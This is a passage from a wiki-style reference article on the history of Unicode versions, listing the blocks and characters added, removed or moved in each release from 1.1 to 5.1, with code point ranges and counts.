* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
